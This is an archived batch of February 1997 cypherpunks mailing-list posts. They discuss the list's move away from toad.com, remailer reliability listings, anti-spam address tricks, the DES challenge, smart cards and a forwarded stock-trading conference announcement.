Subject: Anyone have the complete info on CP list alternatives?
Message-ID: <199702171656.IAA09288@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Everyone and his/her cousin has jumped into the void
created when John Gilmore decided to pull the plug
on toad.com.

However, I'm very confused on just what to do at this
point, my news server doesn't see alt.cypherpunks
yet and if it did would probably lose about 75% of
the posts if past performance is to be any indicator.
(Or more accurately, would never get them, we seem
to be a bottom feeder here in South Florida as far
as the newsgroups go.)

Has anyone composed a concise summary of just
what the options are? Time is running out, I guess.

Thanks in advance.

=Bill=





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bryan Reece <reece@taz.nceye.net>
Date: Sun, 16 Feb 1997 21:26:22 -0800 (PST)
To: cynthb@sonetis.com
Subject: Re: Cypherpunks afraid of spam?
Message-ID: <199702170526.VAA21185@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


   From: "Cynthia H. Brown" <cynthb@sonetis.com>
   Date: Sun, 16 Feb 1997 23:02:02 -0500

   So, if I put root@127.0.0.1 in the "From:" field of my news reader's
   configuration, all of my posts will give this as my e-mail address. 

More likely to be delivered is root@[127.0.0.1] or
root@localhost.nceye.net or similar.  The thing to the right has to be
a name or a numeric address *in brackets*.  Yes, this doesn't seem to
make terribly much sense.  Another approach if you can do it is to get
an alias that looks like a message-ID.  All my outgoing usenet posts
lately have said
From: Bryan Reece <23je8s$ksd@taz.nceye.net> 
at the top, and no spam has come to that address.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bryan Reece <reece@taz.nceye.net>
Date: Sun, 16 Feb 1997 21:26:17 -0800 (PST)
To: jer+@andrew.cmu.edu
Subject: Re: When and where?
Message-ID: <199702170526.VAA21172@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


   Delivered-To: reece@taz.nceye.net
   Date: Sun, 16 Feb 1997 20:57:51 -0500 (EST)
   From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
   Sender: owner-cypherpunks@toad.com
   Precedence: bulk

   -----BEGIN PGP SIGNED MESSAGE-----

   camcc@abraxis.com (Alec) writes:
   > Please post the date when this list will shift to Usenet if that is indeed to
   > happen. I have not been able to sort out the facts (?) from the speculation,
   > argument, and gas.
   > 
   > I have requested my ISP to add alt.cypherpunks to the mail server asap.

   I hope you misspelled "news server." alt.cypherpunks (and subgroups)
   is a newsgroup.

   > I don't want to miss a second of the resurrected (or is that born again?)
   > c'punks.

   You should join one of the distributed mailing lists (choose the list
   admin you like/trust the most). There is supposed to be a gateway
   between the mailing list and the newsgroup, but it is not up yet.

   Here's the overview:
   cypherpunks@toad.com is going away. In its place is a distributed
   forum. This forum is currently made up of a network of mailing lists,
   which send all their messages to each other. In the future, the
   newsgroup alt.cypherpunks will be added to this network (posts to the
   newsgroup go to the mailing lists, mail to the lists goes to the
   newsgroup). The mailing lists will be faster than the newsgroup, the
   newsgroup will probably let you use better filtering tools. Your
   choice.

   HTH,
   Jer

   "standing on top of the world/ never knew how you never could/ never knew
    why you never could live/ innocent life that everyone did" -Wormhole

   (Cool, "newsgroup" is the first word in four consecutive lines. I did
   not do this on purpose, even.)




   -----BEGIN PGP SIGNATURE-----
   Version: 2.6.2

   iQB1AwUBMwe7G8kz/YzIV3P5AQE/lwMAl9FsFoIKk8KF87nDUfczmO3dxo4bDANe
   bxaF9/daqiyR+Ck8vuTZw7YNc0DrsmEDY+Mr0WMuUrcybngagIxsQyuo56jETdLC
   T93ixsHuO7jhW4075ipfH/5MWMkI1zKz
   =G83r
   -----END PGP SIGNATURE-----




-- 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bryan Reece <reece@taz.nceye.net>
Date: Sun, 16 Feb 1997 21:41:05 -0800 (PST)
To: jer+@andrew.cmu.edu
Subject: Re: When and where?
Message-ID: <199702170541.VAA21869@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


   Date: Sun, 16 Feb 1997 20:57:51 -0500 (EST)
   From: Jeremiah A Blatz <jer+@andrew.cmu.edu>

   Here's the overview:
   cypherpunks@toad.com is going away. In its place is a distributed
   forum. This forum is currently made up of a network of mailing lists,
   which send all their messages to each other. In the future, the
   newsgroup alt.cypherpunks will be added to this network (posts to the
   newsgroup go to the mailing lists, mail to the lists goes to the
   newsgroup). The mailing lists will be faster than the newsgroup, the
   newsgroup will probably let you use better filtering tools. Your
   choice.

There is currently a newsgroup cypherpunks.list on taz.nceye.net
world-accessible.  It receives cypherpunks@algebra.com, but posts
there aren't sent back to the list yet.  Anyone who wants an NNTP feed
of it can have one.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Raph Levien <raph@CS.Berkeley.EDU>
Date: Mon, 17 Feb 1997 09:11:22 -0800 (PST)
To: cypherpunks@toad.com
Subject: List of reliable remailers
Message-ID: <199702171711.JAA09607@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list@kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys@kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list@kiwi.cs.berkeley.edu.

$remailer{"extropia"} = "<remail@miron.vip.best.com> cpunk pgp special";
$remailer{"mix"} = "<mixmaster@remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = "<remailer@replay.com> cpunk mix pgp hash latent cut post ek";
$remailer{'alpha'} = '<alias@alpha.c2.org> alpha pgp';
$remailer{'nymrod'} = '<nymrod@nym.jpunix.com> alpha pgp';
$remailer{"lead"} = "<mix@zifi.genetics.utah.edu> cpunk mix pgp hash latent cut ek";
$remailer{"exon"} = "<remailer@remailer.nl.com> cpunk pgp hash latent cut ek";
$remailer{"haystack"} = "<haystack@holy.cow.net> cpunk mix pgp hash latent cut ek";
$remailer{"lucifer"} = "<lucifer@dhp.com> cpunk mix pgp hash latent cut ek";
$remailer{"jam"} = "<remailer@cypherpunks.ca> cpunk mix pgp hash middle latent cut ek";
$remailer{"winsock"} = "<winsock@rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord";
$remailer{'nym'} = '<config@nym.alias.net> newnym pgp';
$remailer{"balls"} = "<remailer@huge.cajones.com> cpunk pgp hash latent cut ek";
$remailer{"squirrel"} = "<mix@squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek";
$remailer{"middle"} = "<middleman@jpunix.com> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{'cyber'} = '<alias@alias.cyberpass.net> alpha pgp';
$remailer{"dustbin"} = "<dustman@athensnet.com> cpunk pgp hash latent cut ek mix reord middle ?";
$remailer{'weasel'} = '<config@weasel.owl.de> newnym pgp';
$remailer{"death"} = "<x@deathsdoor.com> cpunk pgp hash latent post";
$remailer{"reno"} = "<middleman@cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{"wazoo"} = "<remailer@wazoo.com> cpunk mix pgp hash latent cut ek";
$remailer{"shaman"} = "<mix@mix.nymserver.com> cpunk mix pgp. hash latent cut";
catalyst@netcom.com is _not_ a remailer.
lmccarth@ducie.cs.umass.edu is _not_ a remailer.
usura@replay.com is _not_ a remailer.
remailer@crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix)
(weasel squirrel)

The alpha and nymrod nymservers are down due to abuse. However, you
can use the nym or weasel (newnym style) nymservers.

The cyber nymserver is quite reliable for outgoing mail (which is
what's measured here), but is exhibiting serious reliability problems
for incoming mail.

The squirrel and winsock remailers accept PGP encrypted mail only.

403 Permission denied errors have been caused by a flaky disk on the
Berkeley WWW server. This seems to be fixed now.

The penet remailer is closed.

Last update: Mon 17 Feb 97 6:46:40 PST
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
wazoo    remailer@wazoo.com               ++++++++*+++    37:37 100.00%
nym      config@nym.alias.net             *#*##**++#*+     4:23  99.99%
winsock  winsock@rigel.cyberpass.net      -__.+-..---+  7:52:03  99.93%
cyber    alias@alias.cyberpass.net        ** *++++++*+    35:11  99.89%
dustbin  dustman@athensnet.com             .++--.+---   2:08:12  99.85%
weasel   config@weasel.owl.de             +++++++++++   1:06:36  99.77%
exon     remailer@remailer.nl.com           ***-* *#+#     4:10  99.62%
squirrel mix@squirrel.owl.de              + ++++++ +    1:04:02  99.05%
haystack haystack@holy.cow.net            #*##*+*  **+    20:23  98.49%
reno     middleman@cyberpass.net           .++ -- +++   1:16:02  98.36%
lucifer  lucifer@dhp.com                  +++++++ +++     42:18  98.28%
extropia remail@miron.vip.best.com        -------- --   5:19:42  98.21%
middle   middleman@jpunix.com              ++++ + --    2:16:10  97.36%
replay   remailer@replay.com              ---+**  ---*  1:27:53  88.59%
balls    remailer@huge.cajones.com        ## *### *#       1:38  84.09%
jam      remailer@cypherpunks.ca          ******* **       8:25  82.44%
shaman   mix@mix.nymserver.com                            11:03  22.27%
mix      mixmaster@remail.obscura.com     *+           22:42:38  21.62%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 17 Feb 1997 09:11:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: FC97 lookalike: Stock Trading over the Internet Conference
Message-ID: <199702171711.JAA09613@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I don't know about *lookalike*...

Cheers,
Bob Hettinga

--- begin forwarded text


Sender: e$@thumper.vmeng.com
Reply-To: Ian Grigg <iang@systemics.com>
Precedence: Bulk
Date: Mon, 17 Feb 1997 10:30:32 +0100 (MET)
From: Ian Grigg <iang@systemics.com>
To: Multiple recipients of <e$@thumper.vmeng.com>
Subject: FC97 lookalike: Stock Trading over the Internet Conference

http://www.iqpc.com/0397stoc.htm

STOCK TRADING OVER THE INTERNET

Exploiting the power of Electronic Commerce

March 19-20, 1997 * The Pan Pacific Hotel * San Francisco, CA


Hear first hand tips from the true pioneers in Internet stock trading and
electronic commerce on:

       Conquering the process of going public
       Raising capital in your company via the Internet
       Using the Web to build your business and partnering with
       co-opitition
       Forming permanent syndicates to foster the creation of new
       offerings
       Creating effective and complete marketing plans for IPO's
       and DPO's
       Attracting customers and delivering services through the
       exploding electronic commerce market

The audience for this event will include companies looking to offer
shares via the Internet and drastically cut costs including; Chief
Executive Officers, Chief Financial Officers, Managing Directors,
General Managers, Investor Relations Managers, Underwriters, Stock
Exchange Executives, Venture Capitalists, Investment Bankers,
Private Company Executives, Business Development Executives,
Technology and Business Press and all those seeking to explore
opportunities on the emerging Internet marketplace


DAY ONE
March 19, 1997
Chairman: Brad W. Smith, President, WBS & A, Ltd.

       8:30 REGULATORY CONSIDERATIONS ON INTERNET
       PUBLIC OFFERINGS
       This session will review the many regulatory and legislative
       issues involved in the development of Internet public
       offerings. In particular, how and why the regulatory bodies
       of the NASD, NASDAQ and the SEC are making a
       commitment to the Internet as a vehicle that serves the
       investor. Proper surveillance procedures have been created and
       executed to protect all parties. Internet initiatives have been
       developed to bridge the market side and regulatory side of
       these complex issues.
       Al Dandridge, Associate Director of Corporate Finance
       U.S. SECURITIES AND EXCHANGE COMMISSION

       Charles Bennett, Associate Director of Corporate Finance
       NASD

       9:30 INTERNET TRADING MARKET PROJECTIONS
       Internet trading is an emerging market wave that is poised for
       explosive growth. More than 60 million investors have
       brokerage accounts. The media reports that Internet brokerage
       accounts will jump from 1.5 million today to 9.3 million by
       the year 2001; Every bank will use the Internet to attract
       customers and deliver services in the next five years and
       electronic commerce will grow to $600 billion annually
       within the next 10 years. Visionaries believe that one of the
       most profound effects of these phenomena's will be to
       changehow small businesses get capitalized. They predict that
       small business public offerings will become routine for
       nano-cap companies.
       This session will present a strategic overview of the
       emergence of internet capabilities that make it possible for
       investors to invest in and trade nano-cap company stocks.
       Brad Smith, President
       WBS & A, Ltd.
       bradwsmith@aol.com

       11:00 GOING PUBLIC: HOW TO RAISE CAPITAL
       THROUGH A DIRECT PUBLIC OFFERING (DPO) This
       session will explore from concept to completion, how to
       perform all of the necessary functions to prepare and market a
       DPO and/or an Internet DPO. A case study will be shared of a
       DPO that will be presented to the investment community
       world-wide in early 1997. Learn from the experts the
       specifics on how to take your company where you want to go
       and ensure success including:
              Marketing through an investor relations firm
              Choosing an appropriate analyst
              Utilizing a transfer agent
              The link between broker and internet commerce
       David A. Levonian, President
       INTERNATIONAL INVESTOR RELATIONS
       http://iirwebtv.net

       1:00 OVERCOMING THE PITFALLS AND
       CHALLENGES OF GOING PUBLIC
       The advantages of "going public" appear straight forward. The
       company accesses the capital it needs to expand or refine its
       product. (In a purely coincidental occurrence, the current
       shareholder [including investment bankers, SEC lawyers and
       stock brokers] get rich.)
       There are numerous challenges in conquering the process of
       "going public" including:
              There are problems with the lawyers, accountants
              and the bankers and they are on YOUR SIDE
              There are pounds of paper forms which must be
              submitted to every group, not to mention the SEC.
              However, an approved offering does not make a
              successful offering. It still must be marketed,
              either by stock brokers OR MAYBE directly over
              the Internet. And not just to the U.S., but to the
              entire world.
              That may be the wave of the future. Direct access to
              securities and their offering companies over the
              Internet.
       Michael J. Waddell, President
       PROMARKETING, INC.
       Developer of the (http://www.freemarket.org) selected by
       PC Novice Guide to the Web as one of the Internet "Greatest
       Sites"

       2:00 IPONET: SELLING & ADVERTISING IPO'S ON THE
       INTERNET: THE CREATION OF THE FIRST
       PERMANENT SYNDICATE
       IPOnet is currently the only site on the Internet with
       clearance from the SEC to advertise and sell new security
       offerings online.
       IPOnet intends to have multiple Broker/Dealers listed on it's
       site.
       This will create the first permanent syndicate of
       Broker/Dealers.
       These Broker/Dealers will act as selected dealers for each
       others offerings and act as underwriters of their own
       offerings.
       This session will examine the following topics:
              Why the broker can not be eliminated from the
              offerings
              What really happens when an IPO is put on the
              Internet
              Why DPO's will never be a major threat to brokers
              Why a permanent syndicate will foster the creation
              of new offerings
       Leo J. Feldman, President
       IPONET
       http://www.e-iponet.com
       lfeldman@e-iponet.com

       3:30 THE IMPORTANCE OF TRADITIONAL
       EXCHANGES AS A SECONDARY MARKET
       Taking your company public via the Internet, rather than the
       traditional exchange, has become a very viable alternative for
       small business owners. However, unless the offering is
       backed by a complete marketing plan, it is unlikely that the
       offering will reap huge financial rewards and achieve success.
       Incorporating a traditional exchange as a secondary market
       into the plan can solidify, stabilize and extend the offering
       beyond the Internet marketplace and create longevity and
       security and financial return on your offering. This session
       will explore secondary markets and how traditional
       exchanges are advocating the collaborative efforts of
       traditional and web offerings.
       Iris Golden Brackett, Manager
       Listing Sales
       CHICAGO STOCK EXCHANGE

       4:30 Panel Discussion: PUBLIC OFFERINGS AND THE
       INTERNET: LEGAL CONSIDERATIONS
       Join three of the most influential Internet finance and
       securities attorneys for this highly interactive session. They
       will discuss the legal aspects associated with buying and
       selling securities on the Internet, including private
       placement, Regulation A offerings and independent public
       offerings. Come prepared to share your challenges and
       solutions!
       William D. Evers, Esq.
       MILLER, MAILLIARD & CULVER

       M. Greg Allio, Esq.
       SHARTSIS, FRIESE & GINSBERG

       John Perkins, Chairman
       THE SMALL BUSINESS CAPITAL ACCESS
       ASSOCIATION

       Charles Bennett, Associate Director of Corporate Finance
       NASD

       5:45 CLOSE OF DAY ONE

DAY TWO
March 20, 1997

       8:15 ELECTRONIC BULLETIN BOARDS FOR BID AND
       ASK OFFERS: THE EMERGENCE OF DIRECT STOCK
       MARKET
       The secondary market is the key to successful initial and direct
       public offerings. The traditional brokerage community has
       their hands tied when it comes to underwriting and making
       markets in small company issues. A new strata of corporate
       finance is being created by technological advances which
       marry capital requirements of entrepreneurs with risk/return
       and information demands of investors. This presentation will
       explore:
              Using the internet to raise capital for your company
              Secondary market trading on the Internet
              Virtual roadshows online
              Building your own public venture capital portfolio
              Investing in public venture funds
       Clay Womack, President
       DIRECT STOCK MARKET
       http://www.direct-stock-market.com

       9:15 EXPLOITING INTERNET TECHNOLOGY TO
       REACH A GLOBAL AUDIENCE
       The power of the Internet has unleashed the potential for new
       business expansion and financial opportunity in a global
       market. Foreign businesses can now join forces quickly to
       create products and services and offer them to a larger
       population than before. This session will examine how to
       cultivate these partnerships, foster growth and secure
       positive financial outcomes by:
              Using the Web to build your business and
              partnering with co-opitition
              Attracting "qualified" people to your site
              Exploring value-added opportunities in the
              financial market on the Internet
       Michael Withrow, Director
       POWERTRADER, INC.
       http://www.powertrader.axionet.com

       10:45 UNDERSTANDING THE COMPONENTS OF A
       STOCK TRANSFER
       Choosing a transfer agent with diversity of services allows
       your company to do more and retain extra added-value
       components and services. This session will take you
       step-by-step through the IPO process from working with
       attorneys through to the transfer work. Learn how to: How
       to judicate a stock transfer
       Outline the processes needed
       Develop the steps involved
       Anticipate the role of the Internet in stock transfers
       Sherri Herman, President
       THE HERMAN GROUP, INC.
       SMALL BUSINESS CAPITAL ACCESS ASSOCIATION

       1:00 INTERNET TRANSACTIONS FOR THE
       PORTFOLIO MANAGER
       This session will feature case studies and the future outlook
       on internet transactions for portfolio managers including:
              What is the Electronic/Internet Information
              System?
              -Office based and wireless
              -Text and video
              How is it used?
              -The two way information flows
              -Routine and custom information
              Specific needs and requirements for the portfolio
              manager and ways of customizing the information
              What are the advantages of the new system?
              Costs and tools of the system
              -Dollars
              -Technology
              -Savvy and advertising
       John Palicka, CFA, CMT
       Portfolio Manager
       GLOBAL EMERGING GROWTH

       2:30 INTERNET OPPORTUNITIES FOR PUBLIC
       COMPANIES
       This session will focus on opportunities available on the
       Internet to companies that are publicly traded. A presentation
       no senior executive should miss! This presentation will
       examine why public companies should consider the added
       profitability of the Internet and offer specific Internet
       strategies and risks including:
              Using the Internet to improve liquidity
              Build a stock analyst following using the Internet
              Dealing with Motley Fool's and other potential
              risks
       M. Greg Allio, Partner
       SHARTSIS FRIESE & GINSBERG

       3:30 CREATING AN ELECTRONIC STOCK EXCHANGE
       Exploiting IP-Understanding Internet Protocol (IP) - How
       to make your business grow ON-LINE by using the "best of"
       all available software
       Order Driven Systems- Understanding why market makers &
       specialists are a "necessary evil" we live with, and look at the
       functionality of SuperDot-type automation as opposed to
       Drop Copy
       A Virtual Branch Office- The growth of the independent
       brokerage industry, and a look at what will happen to the
       traditional registered representative
       Compliance/Supervision- How a small brokerage firm will
       supervise their representatives in the Internet age
       Ken Gruneisen, President & CEO, BEST EX, INC.
       THE BOCA RATON ELECTRONIC STOCK EXCHANGE

       5:30 END OF CONFERENCE


Post Conference Workshops
-------------------------
9:00am - 12:00pm The Impact of the World Wide Web on Individual
Investors and Electronic Stock Trading

1pm - 4pm
Building the partnership between Electronic Commerce and Raising
Capital1pm - 4pm
----------
The e$ lists are brought to you by:

Intertrader Ltd - Commerce Solutions in the UK
Visit <http://www.intertrader.com/> for details ...

Where people, networks and money come together: Consult Hyperion
http://www.hyperion.co.uk                    info@hyperion.co.uk

Like e$? Help pay for it!  See <http://www.shipwright.com/rah.html>
Or, for e$/e$pam sponsorship, see <http://www.shipwright.com/rah/>

Thanks to the e$ e$lves:
Of Counsel: Vinnie Moscaritolo <mailto:vinnie@webstuff.apple.com>
(Majordomo)^2: Rachel Willmer<mailto:rachel@intertrader.com>
Commermeister: Anthony Templer <mailto:anthony@atanda.com>
Interturge: Rodney Thayer <mailto:rodney@sabletech.com>




--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@PrimeNet.Com>
Date: Mon, 17 Feb 1997 12:56:32 -0800 (PST)
To: Bill Stewart <cypherpunks@toad.com>
Subject: Re: Bad Headers Added to John Young postings via owner-cypherpunks@sirius.infonex.com
Message-ID: <199702172056.MAA13554@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

on or about 970216:1241 Bill Stewart <stewarts@ix.netcom.com> said:

+Hi!  The following headers are from a posting by John Young that looks
+like it was sent to cypherpunks@toad.com,
+forwarded to cypherpunks@sirius.infonex.com and/or
+cypherpunks@cyberpass.net, and has the Reply-To: header
+set to reply to cypherpunks@toad.com instead of to John Young.... It
+looks like the obvious implementation of cypherpunks-style mail header
+patching, but isn't quite right.....  Leads to people sending their
+John Young mailbot requests to cypherpunks@toad.com instead, as some
+well-known cypherpunks have mistakenly done recently :-)

    this is what Lance said he would do...  until toad.com shuts down, 
    you address all messages to cypherpunks@toad.com to avoid overlap.
    toad.com was never set up to show cypherpunks@road.com in the 
    "Reply-To: " field, but it should have been.

    mailing lists then have the "From: " field from the original sender,
    and the "Reply-To: " to the list.  Now, there are reasons some list
    operators do not change the reply field --usually in the hope any
    responders will not notice the list is not being copied....in just 
    turns into private mail.

    for the almost 20 years I been playing with mail lists of various 
    sorts starting with simple inbound scoop and explode to list, 
    Lance's convention has been the norm.

        attila gone...
 ___________________________________________________________attila_____
    "A man owns an ass; he can vote.  
    The ass dies; he cannot vote.  
    Who owns the vote?"
        --Benjamin Franklin
 _______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim Newsome <drz@froody.bloke.com>
Date: Mon, 17 Feb 1997 09:11:18 -0800 (PST)
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: (fwd) DES challenge organisation
Message-ID: <199702171711.JAA09598@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Sat, 15 Feb 1997, Adam Back wrote:

> > 5. The prize money will be split equally between Gutenberg and EFF.
> >    There is a possibility of using part of it for stickers or
> >    something similar, but don't count on it.

> Not a good idea.

> How can this be enforced?  The RSADSI DES challenge is open to all

Unless people modify the client, we will know about it before they do.
Yes, people might cheat. Main point is we don't want to turn this into a
race for money. (Also, that way we can't use university machines etc.)
This topic has been discussed too often also. Read the archives for more
debate.

Tim

Tim Newsome. Programmer for Megasoft. Student at CMU. Cynic in life.
Intel sucks. Motorola forever! If it's not PGP signed, it didn't come from me. 
Always look on the bright side of life. I think I think therefore I think I am.
drz@froody.bloke.com  http://www.local.com/~tnewsom/  PGP key: 2048/C32F01A5

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: noconv
Comment: In God we trust. Everybody else we verify using PGP!

iQEVAwUBMwh34PKkXTDDLwGlAQE/KggAmWk9rL86fknnXWy9ASPWQokH6J0vEzW+
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WBEcIAWToBHfrWSokuF9nunAarmcddQyPu/93hzRkgODVTWgmnpOGA==
=IuAs
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim Newsome <drz@froody.bloke.com>
Date: Mon, 17 Feb 1997 12:56:21 -0800 (PST)
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: (fwd) DES challenge organisation
Message-ID: <199702172056.MAA13527@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Sat, 15 Feb 1997, Adam Back wrote:

> > 5. The prize money will be split equally between Gutenberg and EFF.
> >    There is a possibility of using part of it for stickers or
> >    something similar, but don't count on it.

> Not a good idea.

> How can this be enforced?  The RSADSI DES challenge is open to all

Unless people modify the client, we will know about it before they do.
Yes, people might cheat. Main point is we don't want to turn this into a
race for money. (Also, that way we can't use university machines etc.)
This topic has been discussed too often also. Read the archives for more
debate.

Tim

Tim Newsome. Programmer for Megasoft. Student at CMU. Cynic in life.
Intel sucks. Motorola forever! If it's not PGP signed, it didn't come from me. 
Always look on the bright side of life. I think I think therefore I think I am.
drz@froody.bloke.com  http://www.local.com/~tnewsom/  PGP key: 2048/C32F01A5

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: noconv
Comment: In God we trust. Everybody else we verify using PGP!

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WBEcIAWToBHfrWSokuF9nunAarmcddQyPu/93hzRkgODVTWgmnpOGA==
=IuAs
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Mon, 17 Feb 1997 23:55:55 -0800 (PST)
To: Steve Schear <azur@netcom.com>
Subject: Re: PDAs as alternatives to smart cards?
Message-ID: <199702180755.XAA26686@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 04:49 PM 2/17/97 -0800, Steve Schear <azur@netcom.com> wrote:
>With the widespread adoption of an industry standard IR link between PDA
>type devices, networks and PCs might this not present an opportunity for
>their use as more user-configurable and application agile financial and
>communiation privacy instruments?  

PDAs are becoming somewhat widespread among technical and sales people,
but there are a lot of different varieties and horsepowers,
and some are generally programmable with near-free-ware while others aren't.
Newtons have horsepower, but aren't that common; most of the others
have 8086en or so, including the easily-programmable DOS HPs,
the cool objecty Psion OS, a few different GeoWorks based systems
(is Pilot one of those?), etc.  Then there are a huge number of
totally non-programmable Rolodex/Calendar widgets.

Any of the interesting ones cost too much to go after the
retail market, and they're owned by people who can use email.  
For the broad market you want a <=$10 device, and stores grumble if you
charge more than $200 for a really complete reader system -
which means smartcards.  

Perhaps once pager capability in PDAs becomes widespread and cheap,
the retail/wholesale pharmaceutical trading set could get interested :-)

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Theodor.SCHLICKMANN@bxl.dg13.cec.be
Date: Mon, 17 Feb 1997 09:11:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re(2): DFA
Message-ID: <199702171711.JAA09573@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Hi,

the European Commission is also sponsoring a project called "OKAPI" where Quisquater and others are working on smardcards in the spirit of the mentioned publications by DFA. Please check

        www.tele.ucl.ac.be/OKAPI/index.html

for further information.

Theodor W. Schlickmann





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Cynthia H. Brown" <cynthb@sonetis.com>
Date: Mon, 17 Feb 1997 09:26:21 -0800 (PST)
To: Bryan Reece <reece@taz.nceye.net>
Subject: Re: Cypherpunks afraid of spam?
Message-ID: <199702171726.JAA09922@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On 17 Feb 1997, Bryan Reece wrote:

>    So, if I put root@127.0.0.1 in the "From:" field of my news reader's
>    configuration, all of my posts will give this as my e-mail address. 
> 
> More likely to be delivered is root@[127.0.0.1] or

Oops, finger trouble... Must've been something in that pizza for supper 
<sheepish grin>

Cynthia
===============================================================
		   Cynthia H. Brown, P.Eng.
E-mail:     cynthb@iosphere.net  | PGP Key:  See Home Page
Home Page:  http://www.iosphere.net/~cynthb/
Junk mail will be ignored in the order in which it is received.

        Klein bottle for rent; enquire within.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Mon, 17 Feb 1997 12:56:35 -0800 (PST)
To: snow <snow@smoke.suba.com>
Subject: Constitution and a Right to Privacy
Message-ID: <199702172056.MAA13555@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 1:22 PM -0600 2/17/97, snow wrote:
>Mr. May wrote:
>> Some legal scholars are claiming that there is no provision in the
>> Constitution guaranteeing anonymity of purchases, and, indeed, a growing
>> number of purchases can no longer be anonymous--guns, explosives, chemicals
>> of various sorts, etc. How long before _all_ transactions must be recorded,
>> True Names revealed, etc.?
>
>	This is where I often get a little confused.
>
>	Correct me if I am wrong, but it was my understanding that the
>constitutuion was _not_ a document that explicitly spelled out what writes
